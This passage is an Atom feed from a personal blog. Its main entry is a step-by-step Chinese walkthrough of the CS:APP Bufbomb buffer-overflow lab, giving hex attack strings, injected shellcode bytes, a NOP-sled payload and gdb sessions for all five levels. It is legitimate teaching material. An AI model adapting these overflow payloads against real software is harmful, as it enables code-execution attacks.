<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Zhiwei&#39;s Blog</title>
  
  <subtitle>Stay Hungry Stay Foolish | 常葆求知若饥 常存虚怀若愚</subtitle>
  <link href="/atom.xml" rel="self"/>
  
  <link href="http://zhwhong.cn/"/>
  <updated>2017-10-24T10:29:14.874Z</updated>
  <id>http://zhwhong.cn/</id>
  
  <author>
    <name>zhwhong</name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Model-based Analysis of ChIP-Seq</title>
    <link href="http://zhwhong.cn/2017/10/24/Model-based-Analysis-of-ChIP-Seq/"/>
    <id>http://zhwhong.cn/2017/10/24/Model-based-Analysis-of-ChIP-Seq/</id>
    <published>2017-10-24T10:12:58.000Z</published>
    <updated>2017-10-24T10:29:14.874Z</updated>
    
    <content type="html"><![CDATA[<script src="/assets/js/APlayer.min.js"> </script><p><strong>[Abstract]</strong> We present Model-based Analysis of ChIP-Seq data, MACS, which analyzes data generated by short read sequencers such as Solexa’s Genome Analyzer. MACS empirically models the shift size of ChIP-Seq tags, and uses it to improve the spatial resolution of predicted binding sites. MACS also uses a dynamic Poisson distribution to effectively capture local biases in the genome, allowing for more robust predictions. MACS compares favorably to existing ChIP-Seq peak-finding algorithms, and is freely available.</p><a id="more"></a><p><img src="MACS_paper.png" alt="Model-based Analysis of ChIP-Seq"></p><ul><li>文章地址： <a href="https://www.ncbi.nlm.nih.gov/pubmed/18798982" target="_blank" rel="external">https://www.ncbi.nlm.nih.gov/pubmed/18798982</a> | <a href="https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2592715/pdf/gb-2008-9-9-r137.pdf" target="_blank" rel="external">[pdf] </a></li></ul><hr>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;strong&gt;[Abstract]&lt;/strong&gt; We present Model-based Analysis of ChIP-Seq data, MACS, which analyzes data generated by short read sequencers such as Solexa’s Genome Analyzer. MACS empirically models the shift size of ChIP-Seq tags, and uses it to improve the spatial resolution of predicted binding sites. MACS also uses a dynamic Poisson distribution to effectively capture local biases in the genome, allowing for more robust predictions. MACS compares favorably to existing ChIP-Seq peak-finding algorithms, and is freely available.&lt;/p&gt;
    
    </summary>
    
      <category term="Bioinformatics" scheme="http://zhwhong.cn/categories/Bioinformatics/"/>
    
    
      <category term="Bioinformatics" scheme="http://zhwhong.cn/tags/Bioinformatics/"/>
    
      <category term="Paper" scheme="http://zhwhong.cn/tags/Paper/"/>
    
  </entry>
  
  <entry>
    <title>Bufbomb缓冲区溢出攻击实验详解-CSAPP</title>
    <link href="http://zhwhong.cn/2017/05/29/buffer-overflow-attack/"/>
    <id>http://zhwhong.cn/2017/05/29/buffer-overflow-attack/</id>
    <published>2017-05-29T11:28:31.000Z</published>
    <updated>2017-05-29T12:08:19.699Z</updated>
    
    <content type="html"><![CDATA[<script src="/assets/js/APlayer.min.js"> </script><ul><li>任务说明书：<a href="https://github.com/zhwhong/Bufbomb_CSAPP/blob/master/buflab.pdf" target="_blank" rel="external">[pdf] buflab</a> | <a href="http://csapp.cs.cmu.edu/public/labs.html" target="_blank" rel="external">http://csapp.cs.cmu.edu/public/labs.html</a></li><li>数据包下载：<a href="https://github.com/zhwhong/Bufbomb_CSAPP/blob/master/buflab-handout.tar" target="_blank" rel="external">buflab-handout.tar</a></li><li>实验源码：<a href="https://github.com/zhwhong/Bufbomb_CSAPP" target="_blank" rel="external">zhwhong/Bufbomb_CSAPP</a></li><li>同步简书：<a href="http://www.jianshu.com/p/dc41c84cef17" target="_blank" rel="external">Bufbomb缓冲区溢出攻击实验详解</a>-<a href="http://www.jianshu.com/u/38cd2a8c425e" target="_blank" rel="external">zhwhong</a></li></ul><a id="more"></a><hr><h2 id="实验概述"><a href="#实验概述" class="headerlink" title="实验概述"></a>实验概述</h2><p>　　本<a href="https://github.com/zhwhong/Bufbomb_CSAPP/blob/master/buflab.pdf" target="_blank" rel="external">实验</a>的目的在于加深对IA-32函数调用规则和栈结构的具体理解。实验的主要内容是对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击（buffer overflow attacks），也就是设法通过造成缓冲区溢出来改变该可执行程序的运行内存映像，继而执行一些原来程序中没有的行为，例如将给定的字节序列插入到其本不应出现的内存位置等。本次实验需要你熟练运用gdb、objdump、gcc等工具完成。</p><p>　　实验中你需要对目标可执行程序BUFBOMB分别完成5个难度递增的缓冲区溢出攻击。5个难度级分别命名为 <strong>Smoke</strong>（level 0）、<strong>Fizz</strong>（level 1）、<strong>Bang</strong>（level 2）、<strong>Boom</strong>（level 3）和 <strong>Nitro</strong>（level 4），其中Smoke级最简单而Nitro级最困难。</p><p>　　实验语言：c；实验环境：linux。</p><h2 id="实验说明"><a href="#实验说明" class="headerlink" title="实验说明"></a>实验说明</h2><p>　　本实验的数据包含于一个文件包<strong>buflab-handout.tar [1.06M]</strong> 中，可以从<a href="https://github.com/zhwhong/Bufbomb_CSAPP/blob/master/buflab-handout.tar" target="_blank" rel="external"><strong>这里</strong></a>下载。下载该文件到本地目录中，然后利用“<code>tar –xvf buflab-handout.tar</code>”命令将其解压，至少包含下列四个文件：</p><ul><li><strong>bufbomb</strong>：实验需要攻击的目标程序bufbomb。</li><li><strong>bufbomb.c</strong>：目标程序bufbomb的主源程序。</li><li><strong>makecookie</strong>：该程序基于你的学号产生一个唯一的由8个16进制数字组成的4字节序列（例如0x5f405c9a），称为“cookie”。</li><li><strong>hex2raw</strong>：字符串格式转换程序。</li></ul><p>　　另一个需要的文件是，用objdump工具反汇编bufbomb可执行目标程序，得到它的反汇编源程序，在后面的分析中，你将要从这个文件中查找很多信息。</p><p><strong>（注：更多详细信息说明请见<a href="https://github.com/zhwhong/Bufbomb_CSAPP/blob/master/buflab.pdf" target="_blank" rel="external">任务说明书</a>.）</strong></p><h2 id="实验步骤及操作说明"><a href="#实验步骤及操作说明" class="headerlink" title="实验步骤及操作说明"></a>实验步骤及操作说明</h2><p>　　本实验需要你构造一些攻击字符串，对目标可执行程序BUFBOMB分别造成不同的缓冲区溢出攻击。实验分5个难度级分别命名为Smoke（level 0）、Fizz（level 1）、Bang（level 2）、Boom（level 3）和Nitro（level 4）。</p><h3 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h3><p>　　本次lab利用getbuf()方程不检查读取string长度的漏洞破坏该方程的return address从而达到对主程序造成破坏的目的。从getbuf() 的assembly code我们可以看到：</p><p><img src="1.png" alt=""></p><p>位于<0x80490a3> 地址处代码为预读的string在stack创建了0x28(也就是40)个Byte 的空间。具体位置可以通过gdb在下一行设置breakpoint 查找 %eax 的值得到，如下所示：</0x80490a3></p><p><img src="2.png" alt=""></p><p>通过gdb调试得到，getbuf()申请的40字节缓冲区首地址为 <strong><0x55683438></0x55683438></strong>，这个地址后面会用到。</p><p>通常在P过程调用Q过程时，程序的stack frame结构如下图所示：</p><p><img src="3.png" alt=""></p><p>为了覆盖被存在Return Address上的值(4 Bytes for m32 machine)，我们需要读入超过系统默认40 Bytes大小的string。由于Saved ebp 占据了4 Bytes 所以当我们的input string 为48 Bytes时，最后4位Bytes 刚好覆盖我们的目标Return address.</p><p><strong>Notes:</strong> 由于我们在输入文件下写入的都是character（字符）因此我们需要利用hex2raw这个小程序帮助我们将我们写入的character转换成所对应的二进制数列。</p><h3 id="level0-Smoke"><a href="#level0-Smoke" class="headerlink" title="level0:Smoke"></a>level0:Smoke</h3><p>Smoke任务的目标是构造一个攻击字符串作为bufbomb的输入，在getbuf()中造成缓冲区溢出，使得getbuf()返回时不是返回到test函数，而是转到smoke函数处执行。为此，你需要：</p><h4 id="1-在bufbomb的反汇编源代码中找到smoke函数，记下它的起始地址："><a href="#1-在bufbomb的反汇编源代码中找到smoke函数，记下它的起始地址：" class="headerlink" title="1. 在bufbomb的反汇编源代码中找到smoke函数，记下它的起始地址："></a>1. 在bufbomb的反汇编源代码中找到smoke函数，记下它的起始地址：</h4><p><img src="4.png" alt=""></p><p>如以上实例中，smoke的开始地址是<strong><0x08048b50></0x08048b50></strong> 。</p><h4 id="2-同样在bufbomb的反汇编源代码中找到getbuf-函数，观察它的栈帧结构："><a href="#2-同样在bufbomb的反汇编源代码中找到getbuf-函数，观察它的栈帧结构：" class="headerlink" title="2. 同样在bufbomb的反汇编源代码中找到getbuf()函数，观察它的栈帧结构："></a>2. 同样在bufbomb的反汇编源代码中找到getbuf()函数，观察它的栈帧结构：</h4><p><img src="1.png" alt=""></p><p>如以上实例，你可以看到getbuf()的栈帧是0x38+4个字节，而buf缓冲区的大小是0x28（40个字节）。</p><h4 id="3-构造攻击字符串覆盖返回地址"><a href="#3-构造攻击字符串覆盖返回地址" class="headerlink" title="3. 构造攻击字符串覆盖返回地址"></a>3. 构造攻击字符串覆盖返回地址</h4><p>　　攻击字符串的功能是用来覆盖getbuf函数内的数组buf(缓冲区)，进而溢出并覆盖%ebp和%ebp上面的返回地址，所以攻击字符串的大小应该是<strong>0x28+4+4=48</strong>个字节。并且其最后4个字节应是smoke函数的地址，正好覆盖%ebp上方的正常返回地址。这样再从getbuf返回时，取出的根据攻击字符串设置的地址，就可实现控制转移。</p><p>所以，这样的攻击字符串为：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">50 8b 04 08</div></pre></td></tr></table></figure><p>总共48个字节，并且前面44个字节可以为任意值，对程序的执行没有任何影响，只要最后四个字节正确地设置为smoke的起始地址<strong><0x08048b50></0x08048b50></strong> 即可，对应内存写入<code>50 8b 04 08</code>（小端格式）。</p><p>可以将上述攻击字符串写在攻击字符串文件中，命名为<strong>smoke_U201315075.txt</strong>，之后通过hex2raw处理过滤掉所有的注释，还原成没有任何冗余数据的攻击字符串原始数据而代入bufbomb中使用。通过Linux终端执行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">cat smoke_U201315075.txt |./hex2raw |./bufbomb -u U201315075</div></pre></td></tr></table></figure><p>显示结果如下：</p><p><img src="5.png" alt=""></p><p>至此，level0任务smoke通过！</p><h3 id="level1-fizz"><a href="#level1-fizz" class="headerlink" title="level1:fizz"></a>level1:fizz</h3><p>level1 和 level0 大同小异，唯一的区别是本次要求跳入函数 fizz(int) 且该函数有一个参数(要求用所给cookie作argument)。</p><p>我们知道在执行完ret指令后栈顶指针 %esp 会自动增加4以还原栈帧。</p><p>通过查找fizz()得知：</p><p><img src="6.png" alt=""></p><ul><li>fizz()函数的起始地址为<strong><0x08048b7a></0x08048b7a></strong> 。</li><li>由Overview里面的栈帧图示可知，ebp存放了调用者的旧ebp（saved %ebp），其上一位置ebp+4存放了调用者的返回地址，所以参数的地址应该为<strong>ebp+8</strong>的位置，我们只需要将自己的cookie放置在该位置即可。</li></ul><p>所以构造攻击文件<strong>fizz_U201315075.txt</strong>如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div></pre></td><td class="code"><pre><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">7a 8b 04 08</div><div class="line">00 00 00 00</div><div class="line">26 05 8f 2d</div></pre></td></tr></table></figure><p>其中，<strong><0x08058b7a></0x08058b7a></strong> 为fizz函数起始地址，<strong>0x2d8f0526</strong> 为自己的cookie，通过参数传递给fizz。</p><p>最后执行测试结果如下：</p><p><img src="7.png" alt=""></p><p>至此，level1任务fizz通过！</p><h3 id="level2-bang"><a href="#level2-bang" class="headerlink" title="level2:bang"></a>level2:bang</h3><p>level2的难度开始增加，除了需要跳转至目标函数bang() 地址为<strong><0x08048bc5></0x08048bc5></strong> ：</p><p><img src="8.png" alt=""></p><p>我们还需要执行一些自行设计的指令，因为该任务我们需要将global_value 的值改成我们的cookie，通过<code>objdump -D bufbomb | less</code> (注意D要大写我们才能看到header的代码， <code>-d</code>不会显示)：</p><p><img src="9.png" alt=""></p><p>通过objdump -D 反汇编可以看到：</p><ul><li>global_value的地址是<strong><0x0804d100></0x0804d100></strong> ， 目前该位置的初始值为 0 ；</li><li>cookie的地址是<strong><0x0804d108></0x0804d108></strong> ， 目前该位置的值初始为 0，程序运行后会变为cookie的值。</li></ul><p>我们需要做的就是，在程序运行时将<strong>global_value</strong>的值设置为cookie的值。</p><p>构造自定义攻击指令<strong>bang.s</strong>：</p><p><img src="10.png" alt=""></p><p>由于是Assembly code 不需要考虑 little endian的问题。先将global_value 用mov指令变cookie (<strong>0x0804d100</strong> 前不加$ 表示地址)，然后将bang()函数地址<strong><0x08048bc5></0x08048bc5></strong> 写给esp，再执行ret指令时，程序自动跳入bang()函数。</p><p>指令 <strong>gcc -m32 -c bang.s</strong> 将assembly code写成machine code –&gt;bang.o，再用<strong>objdump -d bang.o</strong> 读取machine code如下：</p><p><img src="11.png" alt=""></p><p>将指令代码抄入攻击文件，除此之外我们还需要找到input string存放的位置作为第一次ret 指令的目标位置，具体操作方法见Overview， 经过gdb调试分析getbuf()申请的40字节缓冲区首地址为<strong><0x55683438></0x55683438></strong> 。</p><p>所以构造攻击字符串<strong>bang_U201315075.txt</strong>如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line">c7 05 00 d1</div><div class="line">04 08 26 05</div><div class="line">8f 2d 68 c5</div><div class="line">8b 04 08 c3</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">38 34 68 55</div></pre></td></tr></table></figure><p>最后执行测试结果如下：</p><p><img src="12.png" alt=""></p><p>至此，level2任务bang通过！</p><h3 id="level3-bomb"><a href="#level3-bomb" class="headerlink" title="level3:bomb"></a>level3:bomb</h3><p>不同于之前跳入其他函数，在本任务中我们希望getbuf() 结束后回到test()原本的位置（即call getbuf后的下一行），并将你的cookie作为getbuf()的返回值传给test()。为了使攻击更加具有迷惑性我们还希望saved ebp被复原，这样一来原程序就完全不会因为外部攻击而出错崩溃，也就是退出攻击后要保证栈空间还原，使test()察觉不到我们干了什么，就好像我们什么都没做一样。</p><p>我们注意到getbuf() 在<0x08048cd1>被执行因此正确的跳转地址为 <strong><0x08048cd6></0x08048cd6></strong>：</0x08048cd1></p><p><img src="13.png" alt=""></p><p>另外，要还原栈帧，我们必须知道在调用getbuf()之前的原始ebp的值，这里使用gdb调试来获取，可以在<0x08048cd1>（准备进入getbuf函数）设置断点，然后查看进入getbuf之前的%ebp寄存器值，这里我们得到的旧的ebp的值为<strong><0x55683490></0x55683490></strong> ，如下：</0x08048cd1></p><p><img src="14.png" alt=""></p><p>知道了旧的ebp寄存器和正确的返回地址，接下来就是通过自己构造攻击代码实施攻击。</p><p>下面有两种方式，在test()调用getbuf()函数后能够正常返回到test()中调用call getbuf的下一条指令<strong><0x08048cd6></0x08048cd6></strong> 处，并且保证栈帧能够还原，也就是正确恢复旧的%ebp，程序继续正常运行。</p><h4 id="1-方法一"><a href="#1-方法一" class="headerlink" title="(1)方法一"></a>(1)方法一</h4><p>构造攻击指令bomb.s如下：</p><p><img src="15.png" alt=""></p><p>这里通过movl指令将cookie值传给%eax以返回给test()，然后使得程序跳转到test()中call getbuf下一条指令正常返回，但是并不在这里处理ebp寄存器问题，而是通过在攻击字符串里面设置ebp寄存器使得其还原为旧ebp。而在方法二中是通过在自定义攻击代码中还原旧的ebp寄存器，两种方法都可以。</p><p>对其进行编译，然后反汇编得到机器码：</p><p><img src="16.png" alt=""></p><p>构造攻击字符串<strong>bomb_U201315075.txt</strong>如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line">b8 26 05 8f</div><div class="line">2d 68 d6 8c</div><div class="line">04 08 c3 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">90 34 68 55</div><div class="line">38 34 68 55</div></pre></td></tr></table></figure><p>最后执行测试结果如下：</p><p><img src="17.png" alt=""></p><h4 id="2-方法二"><a href="#2-方法二" class="headerlink" title="(2)方法二"></a>(2)方法二</h4><p>攻击指令bomb2.s如下：</p><p><img src="18.png" alt=""></p><p>这里通过movl指令将cookie值传给%eax以返回给test()，然后继续通过movl指令还原ebp寄存器，最后通过push正确返回地址使得程序跳转到test()中call getbuf下一条指令正常返回。区别于方法一的是这里通过自定义攻击代码还原ebp，而不是通过攻击字符串中的缓冲区溢出进行覆盖的，两种方法都可以。</p><p>对其进行编译，然后反汇编得到机器码：</p><p><img src="19.png" alt=""></p><p>构造攻击字符串<strong>bomb2_U201315075.txt</strong>如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line">b8 26 05 8f</div><div class="line">2d bd 90 34</div><div class="line">68 55 68 d6</div><div class="line">8c 04 08 c3</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">00 00 00 00</div><div class="line">38 34 68 55</div></pre></td></tr></table></figure><p>最后执行测试结果如下：</p><p><img src="20.png" alt=""></p><p>至此，level3任务bomb通过！</p><h3 id="level4-nitro"><a href="#level4-nitro" class="headerlink" title="level4:nitro"></a>level4:nitro</h3><p>本级要使用./bufbomb的-n参数，bufbomb不会再像从前哪样调用test()，而是调用testn()，testn()又调getbufn()。本级的任务是使getn返回cookie给testn()。听上去似乎与上一级没什么不同，但实际上该级的栈地址是动态的，每次都不一样，bufbomb会连续要我们输入5次字符串，每次都调用getbufn()，每次的栈地址都不一样，所以我们将不能再使用原来用gdb调试的方法来求%ebp的地址了。</p><p>解决思路就是：</p><ol><li>用assembly instruction —— nop （machine code：90）填充我们的Input string。<br>这样一来在一定范围内无论在哪里进入我们的攻击程序执行指令最终都会滑到我们的攻击方程；</li><li>虽然ebp的值每次变化，无法直接赋值，但是在getbufn()程序中 ebp和esp值差是一定的通过gdp查找我们可以查到这样的关系，比如我这里是相差0x28；</li><li>通过空input运行主程序发现五次input string的存储位置在0x556831d8 到0x556832c8之间，因此如果我们将第一次ret address 定为最高的0x556832c8那么就可以保证五次运行执行命令都不会在运行攻击程序之前遇到除nop（90）之外的其他指令。</li></ol><p>bufbomb在5次调用testn()和getbufn()的过程中，两个函数的栈是连续的，在testn()汇编代码开头有</p><p><img src="21.png" alt=""></p><p>可知%esp=%ebp-4-0x24，即 <strong>%ebp = %esp + 0x28</strong>。<br>其中，getbufn执行ret前的leave指令已经正确地恢复%esp(leave等价于 mov %ebp,%esp; pop %ebp，我们的字符串无法覆盖%ebp,%esp寄存器，%esp是从寄存器%ebp里来的，因此是正确的)。</p><p>这里构造攻击指令nitro.s如下：</p><p><img src="22.png" alt=""></p><p>对其进行编译，然后反汇编得到机器码：</p><p><img src="23.png" alt=""></p><p>可是我们还不知道返回地址应该用什么来填充。字符串首地址是变化的，虽然可以通过%esp间接求出，但在程序跳转到我们的代码之前，我们无法得知%esp的值究竟是多少（原来可以用gdb调试出来，但现在不行了）。幸好getbufn给的栈空间很大，我们可以利用nop slide技术，先让程序返回到一个我们大致猜测的地址，在这个地址及其附近的一大片区域里我们用nop指令(机器码为0x90)填充，CPU执行nop指令时除了程序计数器PC自加，别的什么也不做。把我们的代码放在这片区域的高位地址处，程序一路执行nop,就像滑行一样，一路滑到我们的代码才真正开始执行。我们可以利用gdb调试找到这个字符串开始的大致区域。</p><p>查看getbufn()汇编代码，有：</p><p><img src="24.png" alt=""></p><p>得知写入字符串的首地址为<strong>-0x208(%ebp)</strong>，而返回地址位于<strong>0x4(%ebp)</strong>，因此我们需填充<strong>0x4 - (-0x208) = 0x20c = 524</strong>个字节的字符，再写4个字节覆盖getbufn()的返回地址。</p><p>使用gdb调试发现5次getbufn循环里面，缓冲区首地址情况如下：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div></pre></td><td class="code"><pre><div class="line">➜ ~/buflab-handout git:(master) ✗ ➤ gdb bufbomb</div><div class="line">……</div><div class="line">Reading symbols from bufbomb...(no debugging symbols found)...done.</div><div class="line"></div><div class="line">(gdb) b *0x080490be</div><div class="line">Breakpoint 1 at 0x80490be</div><div class="line"></div><div class="line">(gdb) r -n -u U201315075</div><div class="line">Starting program: /home/zhwhong/buflab-handout/bufbomb -n -u U201315075</div><div class="line">Userid: U201315075</div><div class="line">Cookie: 0x2d8f0526</div><div class="line">Breakpoint 1, 0x080490be <span class="keyword">in</span> getbufn ()</div><div class="line"></div><div class="line">(gdb) p /x <span class="variable">$ebp</span>-0x208</div><div class="line"><span class="variable">$1</span> = 0x55683258</div><div class="line">(gdb) c</div><div class="line">Breakpoint 1, 0x080490be <span class="keyword">in</span> getbufn ()</div><div class="line"></div><div class="line">(gdb) p /x <span class="variable">$ebp</span>-0x208</div><div class="line"><span class="variable">$2</span> = 0x556832c8</div><div class="line">(gdb) c</div><div class="line">Breakpoint 1, 0x080490be <span class="keyword">in</span> getbufn ()</div><div class="line"></div><div class="line">(gdb) p /x <span class="variable">$ebp</span>-0x208</div><div class="line"><span class="variable">$3</span> = 0x556831e8</div><div class="line">(gdb) c</div><div class="line">Breakpoint 1, 0x080490be <span class="keyword">in</span> getbufn ()</div><div class="line"></div><div class="line">(gdb) p /x <span class="variable">$ebp</span>-0x208</div><div class="line"><span class="variable">$4</span> = 0x556831d8</div><div class="line">(gdb) c</div><div class="line">Breakpoint 1, 0x080490be <span class="keyword">in</span> getbufn ()</div><div class="line"></div><div class="line">(gdb) p /x <span class="variable">$ebp</span>-0x208</div><div class="line"><span class="variable">$5</span> = 0x55683258</div><div class="line">(gdb) c</div><div class="line">[Inferior 1 (process 9333) exited normally]</div></pre></td></tr></table></figure><p>由gdb调试结果可知五次input string的存储位置在0x556831d8 到0x556832c8之间，因此如果我们将第一次ret address 定为最高的0x556832c8，那么就可以保证五次运行执行命令都不会在运行攻击程序之前遇到除nop（90）之外的其他指令。（其实返回地址只要不小于0x556832c8即可，这里就取0x556832c8 (<code>c8 32 68 55</code>)吧。）</p><p>构造攻击字符串nitro_U201315075.txt如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div></pre></td><td class="code"><pre><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line"></div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line"></div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line"></div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line"></div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line">90 90 90 90 90 90 90 90 90 90</div><div class="line"></div><div class="line">90 90 90 90 90 90 90 90 90 b8</div><div class="line">26 05 8f 2d 8d 6c 24 28 68 42</div><div class="line">8d 04 08 c3 c8 32 68 55</div></pre></td></tr></table></figure><p>最后执行测试结果如下：</p><p><img src="25.png" alt=""></p><p>注：需要注意的是因为在Nitro模式下主程序需要读五次input以满足执行五次的需要，因此在执行./hex2raw程序时请注意添加 -n flag以保证input string 被复制五次每次以\n结尾以结束每次的gets()函数调用。</p><p>至此，level4任务nitro通过！</p><ul><li><strong>文中出现的所有代码请查看Github仓库：<a href="https://github.com/zhwhong/Bufbomb_CSAPP" target="_blank" rel="external">zhwhong/Bufbomb_CSAPP</a></strong></li></ul><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><ul><li><a href="https://github.com/zhwhong/Bufbomb_CSAPP/blob/master/buflab.pdf" target="_blank" rel="external">[pdf] buflab assignment</a></li><li><a href="http://csapp.cs.cmu.edu/public/labs.html" target="_blank" rel="external">Computer Systems: A Programmer’s Perspective, 2/E (CS:APP2e)</a></li><li><a href="http://blog.sina.com.cn/s/blog_65eb367a0101exfa.html" target="_blank" rel="external">Bufbomb Lab 缓冲区溢出攻击试验(Buffer Lab)</a></li><li><a 